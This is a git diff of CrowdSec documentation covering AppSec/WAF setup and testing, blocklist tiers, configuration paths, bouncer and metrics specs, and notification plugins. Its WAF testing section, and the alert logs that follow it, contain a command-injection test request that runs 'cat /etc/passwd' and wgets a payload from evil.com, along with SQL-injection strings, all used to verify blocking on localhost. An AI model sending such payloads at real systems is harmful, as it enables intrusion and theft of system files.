+cscli appsec-configs list
+```
+Should show:
+- crowdsecurity/appsec-default
+- crowdsecurity/crs
+
+```bash title="Check scenarios"
+cscli scenarios list | grep appsec
+```
+Should show:
+- crowdsecurity/crowdsec-appsec-outofband
+
+### Check AppSec Status
+
+```bash title="Check that AppSec is running"
+cscli metrics
+```
+*Look for appsec metrics in the output*
+
+## Testing - CrowdSec Vpatch
+
+If CrowdSec vpatch rules are properly enabled, the following request should return a 403:
+
+```bash
+TARGET=localhost
+curl -I ${TARGET}'/.env'
+```
+
+
+## Testing - OWASP CRS
+
+:::warning
+Those requests are meant to emulate malevolent requests that will be catched by OWASP CRS.
+Don't lock yourself out if CrowdSec or any other security rule processor applies a ban uppon the following:
+:::
+
+```bash
+TARGET=localhost
+curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'
+curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'
+curl -I ${TARGET}'/?x=A"'
+curl -I ${TARGET}'/?x=A"'
+curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo'
+curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo'
+```
+
+Uppon triggering those, you should see in CrowdSec logs:
+
+```bash
+time="2025-08-22T11:39:50+02:00" level=info msg="Ip xxx performed 'crowdsecurity/crowdsec-appsec-outofband' (6 events over 65.915093ms) at 2025-08-22 09:39:50.392681747 +0000 UTC"
+time="2025-08-22T11:39:51+02:00" level=info msg="(5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab/crowdsec) crowdsecurity/crowdsec-appsec-outofband by ip xxx : 4h ban on Ip xxx"
+```
+
+Further requests to the webserver should return 403:
+
+```bash
+$ curl -I ${TARGET}
+HTTP/1.1 403 Forbidden
+```
+
+## Alert Inspection
+
+You can inspect the alert to better see what URLs or payloads triggered the rules:
+
+```bash
+# cscli alerts list
+╭──────┬────────────┬─────────────────────────────────────────┬─────────┬────┬───────────┬──────────────────────╮
+│ ID │ value │ reason │ country │ as │ decisions │ created_at │
+├──────┼────────────┼─────────────────────────────────────────┼─────────┼────┼───────────┼──────────────────────┤
+│ 2172 │ Ip:xxx │ crowdsecurity/crowdsec-appsec-outofband │ │ │ ban:1 │ 2025-08-22T09:39:50Z │
+...
+```
+
+```bash
+# cscli alerts inspect -d 2172
+
+################################################################################################
+
+ - ID : 2172
+ - Date : 2025-08-22T09:39:51Z
+ - Machine : 5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab
+ - Simulation : false
+ - Remediation : true
+ - Reason : crowdsecurity/crowdsec-appsec-outofband
+ - Events Count : 6
+ - Scope:Value : Ip:xxx
+ - Country :
+ - AS :
+ - Begin : 2025-08-22T09:39:50Z
+ - End : 2025-08-22T09:39:50Z
+ - UUID : a0ad365a-ef08-4c18-af80-20cc02625c35
+
+╭─────────────────────────────────────────────────────────────────────╮
+│ Active Decisions │
+├──────────┬─────────────┬────────┬────────────┬──────────────────────┤
+│ ID │ scope:value │ action │ expiration │ created_at │
+├──────────┼─────────────┼────────┼────────────┼──────────────────────┤
+│ 19719904 │ Ip:xxx │ ban │ 3h57m38s │ 2025-08-22T09:39:51Z │
+╰──────────┴─────────────┴────────┴────────────┴──────────────────────╯
+
+ - Context :
+╭────────────┬─────────────────────────────────────────────────────╮
+│ Key │ Value │
+├────────────┼─────────────────────────────────────────────────────┤
+│ rules │ native_rule:901340 │
+│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
+│ target_uri │ /?x=A" │
+│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
+╰────────────┴─────────────────────────────────────────────────────╯
+
+ - Events :
+
+- Date: 2025-08-22 09:39:50.326505724 +0000 UTC
+╭─────────────────────┬──────────────────────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼──────────────────────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ 331f9426-3333-420a-bffa-ab953f44e329 │
+│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │
+│ │ 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
+╰─────────────────────┴──────────────────────────────────────────────────────────────╯
+
+- Date: 2025-08-22 09:39:50.33919196 +0000 UTC
+╭─────────────────────┬──────────────────────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼──────────────────────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ 69c72a65-e7e5-49fa-9253-bdbe6fca52c9 │
+│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │
+│ │ 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
+╰─────────────────────┴──────────────────────────────────────────────────────────────╯
+
+- Date: 2025-08-22 09:39:50.352001523 +0000 UTC
+╭─────────────────────┬───────────────────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼───────────────────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ b7a95a56-a88e-4c89-b23b-2d3d06759af4 │
+│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A" │
+╰─────────────────────┴───────────────────────────────────────────────────────────╯
+
+- Date: 2025-08-22 09:39:50.365872595 +0000 UTC
+╭─────────────────────┬───────────────────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼───────────────────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ fbc41250-53e6-49d9-ab04-5f6ed2cc1793 │
+│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A" │
+╰─────────────────────┴───────────────────────────────────────────────────────────╯
+
+- Date: 2025-08-22 09:39:50.378905387 +0000 UTC
+╭─────────────────────┬───────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼───────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ d59825ff-268b-42ff-8e90-9e831a7f6a6b │
+│ rule_ids │ [901340 942100 942190 949110 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
+╰─────────────────────┴───────────────────────────────────────────────╯
+
+- Date: 2025-08-22 09:39:50.392514386 +0000 UTC
+╭─────────────────────┬───────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼───────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ d0dc6cab-0ef2-4e7d-9fd1-ab06091b23ea │
+│ rule_ids │ [901340 942100 942190 949110 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
+╰─────────────────────┴───────────────────────────────────────────────╯
+
+```
+
+## Next Steps
+
+- Learn about [AppSec Configuration options](/appsec/configuration.md)
+- Understand [AppSec Hooks](/appsec/hooks.md) for customization
+- Explore [Rule Syntax](/appsec/rules_syntax.md) for custom rules
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/central_api/blocklist.md b/crowdsec-docs/versioned_docs/version-v1.6/central_api/blocklist.md
new file mode 100644
index 000000000..112e829f0
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/central_api/blocklist.md
@@ -0,0 +1,67 @@
+---
+id: community_blocklist
+title: Community Blocklist
+sidebar_position: 3
+---
+
+# Introduction
+
+The "Community Blocklist" is a curated list of IP addresses identified as malicious by CrowdSec. CrowdSec proactively block the IP addresses of this blocklist, preventing malevolent IPs from reaching your systems.
+
+# Community Blocklist Variation and Eligibility
+
+:::info
+The Community Blocklist is **only** available when using the Security Engine. To gain access, follow the steps in the [Getting Started Guide](/u/getting_started/intro).
+:::
+
+The rules are different for free and paying users:
+ - Free users that **do not regularly** contribute get the `Community Blocklist (Lite)`
+ - Free users that **do regularly** contribute get access to the `Community Blocklist`
+ - Paying users get access to the `Community Blocklist (Premium)`, even if they don't contribute
+
+Regardless of the blocklist "tier" you have access to (`Lite`, `Community`, `Premium`), each Security Engine gets a tailored blocklist based on the kind of behavior you're trying to detect.
+
+## Community Blocklist
+
+Free users that are actively contributing to the network (sending signal on a regular basis) have their Security Engines automatically subscribed to the *Community Blocklist*.
+
+The content of the blocklist is unique to each Security Engine, as it mirrors the behaviours they report. For example, suppose you're running the Security Engine on a web server with WordPress. In that case, you will receive IPs performing generic attacks against web servers *and* IPs engaging in wordpress-specific attacks.
+
+The *Community Blocklist* contains 15 thousand malicious IP's based on your reported scenarios.
+
+## Community Blocklist (Premium)
+
+Paying users' Security Engine are automatically subscribed to the *Community Blocklist (Premium)*, which contains IPs that mirror their installed scenarios.
+Paying users' do not need to contribute to the network to be eligible to the blocklist.
+
+The *Community Blocklist (Premium)* blocklist content has no size limit, unlike free users.
+
+## Community Blocklist (Lite)
+
+Free users that are not actively contributing to the network or that have been flagged as cheating/abusing the system will receive the *Community Blocklist (Lite)*.
+
+This Blocklist is capped at 3 thousand IPs.
+
+### Why is my Security Engine on the Lite Blocklist?
+
+Your Security Engine may be placed on the Lite Blocklist for various reasons, such as:
+
+1. Low Visibility Services
+
+Your services are self-hosted (e.g., for private video or image hosting) and primarily accessed by a small group. As a result, your Security Engine detects less malicious activity compared to public-facing services like blogs or e-commerce sites.
+
+2. Comprehensive Security Setup
+
+Your existing security measures reduce reliance on the Community Blocklist. These may include:
+- Geoblocking (restricting access to certain countries)
+- IP whitelisting with a default deny-all policy
+- VPN-only access
+- OAuth authentication (e.g., Authentik, Authelia, Keycloak)
+
+This simply a result of your security model and access requirements, its neither an issue with your setup nor a limitation on our end.
+
+3. Incomplete CrowdSec Configuration
+
+Your Security Engine may not be monitoring all your services.
+
+If you suspect this might be the case, refer to our [post-installation guide](/u/getting_started/next_steps) to ensure full coverage.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/central_api/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/central_api/intro.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/central_api/intro.md
rename to crowdsec-docs/versioned_docs/version-v1.6/central_api/intro.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/concepts.md b/crowdsec-docs/versioned_docs/version-v1.6/concepts.md
new file mode 100644
index 000000000..c2c26af10
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/concepts.md
@@ -0,0 +1,64 @@
+---
+id: concepts
+title: Concepts
+sidebar_position: 1
+---
+
+
+# Global overview
+
+# Security Engine
+
+> The Security Engine is CrowdSec's IDS/IPS (Intrusion Detection System/Intrusion Prevention System)
+> It is a rules and behavior detection engine comprised of Log Processor and the Local API.
+
+A Security Engine can operate [independently](/intro#architecture) or in a [distributed manner](/intro#deployment-options), adapting to the specific needs and constraints of your infrastructure. For more information on CrowdSec's distributed approach, visit our documentation on collaborative operations and distributed deployments.
+
+
+# Log Processor (LP)
+
+> The Log Processor is the part of the Security Engine in charge of the detection of bad behaviors, based on your logs or your HTTP trafic.
+
+The Log Processor (abreviated as `LP`) detects bad behaviors via two main functions:
+ - [Acquire](/log_processor/data_sources/introduction.md) logs, [parse](/log_processor/parsers/introduction.mdx), [enrich](/log_processor/parsers/enricher.md) and match them against [Scenarios](/log_processor/scenarios/introduction.mdx).
+ - Receive [HTTP Requests](/log_processor/data_sources/appsec.md) and match them against the [Appsec Rules](/appsec/intro.md).
+
+Alerts resulting from Scenarios or Appsec Rules being triggered are sent to the `LAPI`.
+
+# Local API (LAPI)
+
+> The Local API is the part of the Security Engine acting as the middleman between the Log Processors, the Remediation Components and the Central API.
+
+The Local API (abreviated as `LAPI`) has several functions:
+ - Receive alerts from Log Processors and create Decisions based on configured [Profiles](/local_api/profiles/intro.md)
+ - Expose Decisions to [Remediation Components](/u/bouncers/intro)
+ - Interact with the Central API to send Alerts receive Blocklists
+
+
+# Remediation Components (Bouncers)
+
+> The Remediation Components (also called `Bouncers`) are external components in charge of enforcing decisions.
+
+Remediation Components rely on the Local API to receive decisions about malevolent IPs to be blocked *(or other supported types or remediations such as Captcha, supported by some of our Bouncers).*
+*Note that they also support [CrowdSec's Blocklist as a Service](/u/integrations/intro).*
+
+Those Decisions can be based on behavioral detection made by the `LP` or from Blocklists.
+
+Remediations components leverage existing components of your infrastructure to block malevolent IPs where it matters most. You can find them on our [Remediation Components' HUB](https://app.crowdsec.net/hub/remediation-components)
+
+# Central API (CAPI)
+
+> The Central API (CAPI) serves as the gateway for network participants to connect and communicate with CrowdSec's network.
+
+The Central API (abreviated as `CAPI`) receives attack signals from all participating Security Engines and signal partners, then re-distribute them curated community decisions ([Community Blocklist](/central_api/community_blocklist/)).
+It's also at the heart of CrowdSec centralized [Blocklist services](/u/blocklists/intro).
+
+# Console
+
+> The CrowdSec Console is a web-based interface providing reporting, alerting, management and QoL features to CrowdSec's products usages: from your park of Security Engines to the management of CTI related actions
+
+The [Console](https://app.crowdsec.net) allows you to:
+ - [Manage alerts](/u/console/alerts/intro) of your security stack
+ - [Manage decisions](/u/console/decisions/decisions_intro) in real-time
+ - View and use [blocklists and integrations](/u/blocklists/intro)
+ - Manage your API keys ([CTI API](/u/cti_api/intro), [Service API](/u/service_api/getting_started))
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/configuration/crowdsec_configuration.md b/crowdsec-docs/versioned_docs/version-v1.6/configuration/crowdsec_configuration.md
similarity index 77%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/configuration/crowdsec_configuration.md
rename to crowdsec-docs/versioned_docs/version-v1.6/configuration/crowdsec_configuration.md
index 958507382..cc4eee4be 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/configuration/crowdsec_configuration.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/configuration/crowdsec_configuration.md
@@ -15,6 +15,79 @@ You can find the default configurations on our GitHub repository:
[Windows default configuration](https://github.com/crowdsecurity/crowdsec/blob/master/config/config_win.yaml)
+## Common configuration directories & paths
+
+### `/etc/crowdsec/`
+
+All CrowdSec configuration are living in this directory.
+
+### `/etc/crowdsec/config.yaml`
+
+Main configuration file for Log Processor and Local API.
+
+### `/etc/crowdsec/acquis.d` and `/etc/crowdsec/acquis.yaml`
+
+Documents which log sources and datasources are processed by the Log Processor.
+
+`/etc/crowdsec/acquis.yaml` is the historical acquisition configuration file.
+`/etc/crowdsec/acquis.d/*.yaml` is prefered when possible.
+
+### `/etc/crowdsec/bouncers/*.yaml`
+
+Individual configuration file for bouncers.
+
+### `/etc/crowdsec/collections/*.yaml`
+
+Collections currently installed on the Log Processor.
+
+### `/etc/crowdsec/console.yaml`
+
+Console specific flags:
+ - enable/disable decisions management from the console
+ - enable/disable sharing of manual decisions with the console
+ - enable/disable sharing of custom/tainted scenarios related decisions with the console
+ - enable/disable sharing of alert context data with the console.
+
+### `/etc/crowdsec/contexts/*.yaml`
+
+Enabled alert context for Local API and Log Processor. This is where you should add custom data to be sent in alert context.
+
+### `/etc/crowdsec/hub/`
+
+Local Hub Mirror. Not intended to be modified by the user. Do not put custom scenarios/parsers here.
+
+### `/etc/crowdsec/local_api_credentials.yaml` and `/etc/crowdsec/online_api_credentials.yaml`
+
+Credentials for Local API and Central API.
+
+### `/etc/crowdsec/parsers`
+
+Contains all parsers enabled on the Log Processor, including local parsers, organised in stages:
+ - `/etc/crowdsec/parsers/s00-raw/*.yaml` : parsers for based formats such as syslog.
+ - `/etc/crowdsec/parsers/s01-parse/*.yaml` : service specific parsers such as nginx or ssh.
+ - `/etc/crowdsec/parsers/s02-enrich/*.yaml` : enrichment parsers and whitelists.
+
+
+### `/etc/crowdsec/scenarios`
+
+Contains all scenarios enabled on the Log Processor, including local scenarios.
+
+### `/etc/crowdsec/profiles.yaml`
+
+Contains profiles used by Local API to eventually turn alerts into decisions or dispatch them to notification plugins.
+
+### `/etc/crowdsec/notifications/*.yaml`
+
+Contains notification plugins configuration (slack, email, splunk, etc.)
+
+### `/etc/crowdsec/appsec-configs/*.yaml`
+
+Contains AppSec (WAF) configuration indicating which rules or loaded in `inband` and `outofband` files, as well as eventual `hooks` configuration.
+
+### `/etc/crowdsec/appsec-rules/*.yaml`
+
+Contains individual AppSec (WAF) rules loaded by `appsec-configs` files.
+
## Environment variables
It is possible to set configuration values based on environment variables.
@@ -97,7 +170,7 @@ always replaced.
- `bouncers/crowdsec-blocklist-mirror.yaml`
In the case of `profiles.yaml`, the files are read as a whole (as if they were
-attached) instead of merged. See [profiles - introduction](/profiles/intro.md).
+attached) instead of merged. See [profiles - introduction](/local_api/profiles/intro.md).
## Configuration directives
@@ -114,6 +187,7 @@ common:
log_max_age: Example Output
+ + +```bash title="sudo cscli metrics show appsec" +Appsec Metrics: +╭─────────────────┬───────────┬─────────╮ +│ Appsec Engine │ Processed │ Blocked │ +├─────────────────┼───────────┼─────────┤ +│ 127.0.0.1:7422/ │ 2 │ 1 │ +╰─────────────────┴───────────┴─────────╯ + +Appsec '127.0.0.1:7422/' Rules Metrics: +╭─────────────────────────────────────┬───────────╮ +│ Rule ID │ Triggered │ +├─────────────────────────────────────┼───────────┤ +│ crowdsecurity/vpatch-CVE-2022-22965 │ 1 │ +╰─────────────────────────────────────┴───────────╯ +``` + +
+
+
+### Details about LAPI endpoints parameters
+
+**GET /decisions/stream**
+
+* **startup:** set it to **TRUE** for the **initial call** to get all decisions *(when False you’ll get the delta from your last call)*
+* **scopes: “**ip,range” is the only relevant values when remediating on IPs
+* **origins:** Leave blank to allow all origins, test your configurable origins with [those tests](#decision-example)
+* **scenarios_containing:** leave blank by default, allow change in config
+* **scenarios_not_containing:** leave blank by default, allow change in config
+
+**GET /decisions**
+
+* **scope: “**ip” is the only relevant values when remediating on IPs
+* **value:** the ip itself as a string
+* **type:** filtering on type of decisions, leave blank by default to get any decisions
+* **ip:** ignore/leave blank: shortcut for scope:ip \+ value
+* **range:** ignore/leave blank: shortcut for scope:range \+ value
+* **contains:** leave blank by default, configurable by user
+* **origins:** Leave blank to allow all origins, test your configurable origins with [those tests](#decision-example)
+* **scenarios_containing:** leave blank by default, allow change in config
+* **scenarios_not_containing:** leave blank by default, allow change in config
+
+### Decision example
+
+```javascript
+{
+ "deleted": [
+ {
+ "duration": "-75h34m54.509128301s",
+ "id": 55873846,
+ "origin": "CAPI",
+ "scenario": "crowdsecurity/ssh-bf",
+ "scope": "Ip",
+ "type": "ban",
+ "value": "61.155.106.101"
+ },
+],
+ "new": [
+ {
+ "duration": "167h59m20.890999684s",
+ "id": 55898280,
+ "origin": "CAPI",
+ "scenario": "crowdsecurity/CVE-2022-35914",
+ "scope": "Ip",
+ "type": "ban",
+ "value": "45.95.147.236"
+ },
+]
+}
+
+```
+
+### Ban template page
+
+```javascript
+
+
+
+
+ ![]({useBaseUrl("/img/simplified_SE_overview.svg")})
+
+
+
+
+
+
+
+
+
+```
+
+### Metrics payload
+
+More details about metrics in [Metrics specs](/contributing/specs/bouncer_metrics_specs/)
+
+```json
+{
+ "remediation_components": [ {
+ "type": "my-bouncer-stat",
+ "version": "1.0.0",
+ "os": {
+ "name": "ubuntu",
+ "version": "22.04"
+ },
+ "features": [], //Always empty / invalid / ignored for bouncers
+ "meta": {
+ "window_size_seconds": 1800,
+ "utc_startup_timestamp": 123123,
+ "utc_now_timestamp": 123123123123
+ },
+ "metrics": [
+ {
+ "name": "blocked",
+ "value": 100,
+ "labels": {
+ "origin": "fire",
+ "remediation_type": "ban"
+ },
+ "unit": "request"
+ },
+ {
+ "name": "blocked",
+ "value": 40,
+ "labels": {
+ "origin": "crowdsec",
+ "remediation_type": "ban"
+ },
+ "unit": "request"
+ },
+ {
+ "name": "blocked",
+ "value": 60,
+ "labels": {
+ "origin": "crowdsec",
+ "remediation_type": "captcha"
+ },
+ "unit": "request"
+ },
+ {
+ "name": "blocked",
+ "value": 100,
+ "labels": {
+ "origin": "lists:tor"
+ "remediation_type": "ban"
+ }
+ },
+ {
+ "name": "processed",
+ "value": 500,
+ "unit": "request"
+ }
+ ]
+}]}
+```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/contributing/specs/bouncer_metrics_specs.mdx b/crowdsec-docs/versioned_docs/version-v1.6/contributing/specs/bouncer_metrics_specs.mdx
new file mode 100644
index 000000000..91c45eb17
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/contributing/specs/bouncer_metrics_specs.mdx
@@ -0,0 +1,369 @@
+---
+id: bouncer_metrics_specs
+title: Remediation Component Metrics
+---
+
+## Overview
+
+This document provides a comprehensive guide for developers to implement the "[Remediation Metrics](https://docs.crowdsec.net/docs/next/observability/usage_metrics)" feature in a remediation component. The remediation metrics feature allows remediation components to report [raw metrics](https://docs.crowdsec.net/u/service_api/quickstart/metrics/#raw-metrics) about their activity to the Local API (LAPI), which can then be forwarded to the Central API (CAPI) for monitoring and analytics purposes.
+
+The remediation component should send the following data:
+
+- "**dropped**" metrics: the total number of units (`byte`, `packet` or `request`) for which a remediation (`ban`, `captcha`, etc.) has been applied.
+ For this metrics, data should be split into origin/remediation pairs.
+- "**processed**" metrics: the total number of units that has been processed by the remediation component.
+ It must also include the number of "bypass" (i.e. when no decision were applied).
+- "**active_decisions**" metrics: it represents the number of decisions currently known by the remediation component.
+
+Additionally, some relevant time values must be sent:
+
+- "**window_size_seconds**": The time interval between metric reports (typically 1800 seconds / 30 minutes).
+ We recommend a minimum delay of 15 minutes between each transmission.
+- "**utc_startup_timestamp**": When the remediation component started. This can vary depending on implementation:
+ - For daemon bouncers: timestamp when the daemon process started
+ - For "on-demand" bouncer like the PHP one: timestamp of the first LAPI call/pull
+
+
+As an example, here is the kind of expected payload that you will have to build and send:
+
+### Metrics Payload example
+
+```json
+{
+ "remediation_components": [{
+ "name": "my-bouncer",
+ "type": "crowdsec-custom-bouncer",
+ "version": "1.0.0",
+ "feature_flags": [],
+ "utc_startup_timestamp": 1704067200,
+ "os": {
+ "name": "linux",
+ "version": "5.4.0"
+ },
+ "metrics": {
+ "meta": {
+ "window_size_seconds": 1800,
+ "utc_now_timestamp": 1704069000
+ },
+ "items": [
+ {
+ "name": "dropped",
+ "value": 150,
+ "unit": "request",
+ "labels": {
+ "origin": "CAPI",
+ "remediation": "ban"
+ }
+ },
+ {
+ "name": "dropped",
+ "value": 25,
+ "unit": "request",
+ "labels": {
+ "origin": "cscli",
+ "remediation": "ban"
+ }
+ },
+ {
+ "name": "dropped",
+ "value": 12,
+ "unit": "request",
+ "labels": {
+ "origin": "cscli",
+ "remediation": "captcha"
+ }
+ },
+ {
+ "name": "processed",
+ "value": 1175,
+ "unit": "request"
+ },
+ {
+ "name": "active_decisions",
+ "value": 342010
+ }
+ ]
+ }
+ }]
+}
+```
+
+
+For more details on valid payloads, please refer to the [API specification](https://crowdsecurity.github.io/api_doc/index.html?urls.primaryName=LAPI#/Remediation%20component/usage-metrics).
+
+
+
+## Architecture Overview
+
+### Key Features
+
+Implementing remediation metrics involves several capabilities:
+
+1. **Metrics Storage**:
+ - Store "remediation by origin" counters and relevant time values in a persistent storage.
+ - Update or delete stored values
+2. **Metrics Building**:
+ - Retrieve metrics in storage
+ - Format metrics according to the API specification
+3. **Metrics Transmission**:
+ - Send metrics to LAPI `usage-metrics` endpoint
+ - Update metrics items so that next push will only send fresh metrics
+
+### Core Concepts
+
+- **Origins**: The source of a remediation (e.g., `CAPI`, `lists:***`, `cscli`, etc).
+
+ As we want to track the total number of processed items, we also need to be able to count the number of "bypass". That's why you may use a `clean` and `clean_appsec` origins to track bypass remediations for regular and AppSec traffic respectively.
+
+- **Remediations**: The final action effectively applied by the remediation component (e.g., "ban", "captcha", "bypass")
+
+ The remediation stored in metrics **must be the final remediation effectively applied by the bouncer**, not the original decision from CrowdSec. Examples:
+
+ - **Captcha Resolution**: If the original decision was "captcha" but the user has already solved the captcha and can access the page, store "bypass" as the final remediation.
+
+ - **Remediation Transformation**: If the original decision was "ban" but the bouncer configuration transforms it to "captcha" (and the user hasn't solved it yet), store "captcha" as the final remediation.
+
+ - **Fallback Scenarios**: If a timeout occurs and the bouncer applies a fallback remediation, store the fallback remediation, not the original intended one.
+
+
+## Implementation Guide
+
+### 1. Storage
+
+#### 1.1 Cached Items
+
+Every time the remediation component is involved, storage should be used to persist data:
+
+- origin and remediation
+- time values
+
+For example, you could have the following cached items:
+
+```
+TIME_VALUES = {
+ "utc_startup_timestamp":
+
+
+
+
+
+ CrowdSec Access Forbidden
+You are unable to visit the website.
+
+ Your IP seems to have been blocked, check our CTI info about it or contact this website admin
+
+
+
+ + This security check has been powered by +
+ + + + CrowdSec + + +
+
+
+
## Final Steps:
Let's restart crowdsec
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/email.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/email.md
similarity index 52%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/email.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/email.md
index 33ad4c238..2ff9cc0f1 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/email.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/email.md
@@ -3,27 +3,19 @@ id: email
title: Email Plugin
---
-The Email plugin is shipped by default with CrowdSec. This guide shows how to enable it.
+The Email plugin is shipped by default with CrowdSec. The following guide shows how to configure, test and enable it.
-## Enabling the plugin:
+## Configuring the plugin
-In the profile configuration (by default `/etc/crowdsec/profiles.yaml`) , uncomment the section:
+By default the configuration for Email plugin is located at these default location per OS:
-```
-#notifications:
-# - email_default
-```
-
-Every alert that passes the profile's filter will be dispatched to the `email_default` plugin.
+- **Linux** `/etc/crowdsec/notifications/email.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/email.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\email.yaml`
-## Configuring the plugin:
+### Base configuration
-The default configuration for the email plugin is located at `/etc/crowdsec/notifications/email.yaml`.
-You need to provide the credentials for the SMTP server here.
-
-### Example configuration for Gmail
-
-Here's an example configuration that sends alerts to `receiver@gmail.com`:
+Here is the base configuration for the Email plugin:
```yaml
type: email # Don't change
@@ -84,6 +76,73 @@ encryption_type: "ssltls"
The `format` configuration directive is a [go template](https://pkg.go.dev/text/template), which receives a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+Typical port and TLS/SSL settings
+
+| Port | Encryption Type |
+|------|-----------------|
+| 25 | none |
+| 465 | ssltls |
+| 587 | starttls |
+
+:::warning
+Port 25 should be avoided at all costs as it is commonly blocked by ISPs and email providers and is insecure as it sends in plain text.
+:::
+
+:::info
+Port settings above are common, but may vary depending on your email provider. Please refer to your email provider's documentation for the correct settings.
+:::
+
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test email_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `email_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `email_default` plugin list item.
+
+```
+#notifications:
+# - email_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `email_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+Example profile with http plugin enabled
+ +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - http_default +on_success: break +``` + +
+
+
+
## Final Steps:
Restart CrowdSec with the following command:
@@ -91,5 +150,3 @@ Restart CrowdSec with the following command:
```bash
sudo systemctl restart crowdsec
```
-
-To verify if the plugin is functioning correctly, you can trigger scenarios using tools like wapiti, nikto etc.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/file.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/file.md
new file mode 100644
index 000000000..cf09d1bd5
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/file.md
@@ -0,0 +1,136 @@
+---
+id: file
+title: File Plugin
+---
+
+The File plugin is by default shipped with your CrowdSec installation and allows you to write Alerts to an external file that can be monitored by external applications. The following guide shows how to configure, test and enable it.
+
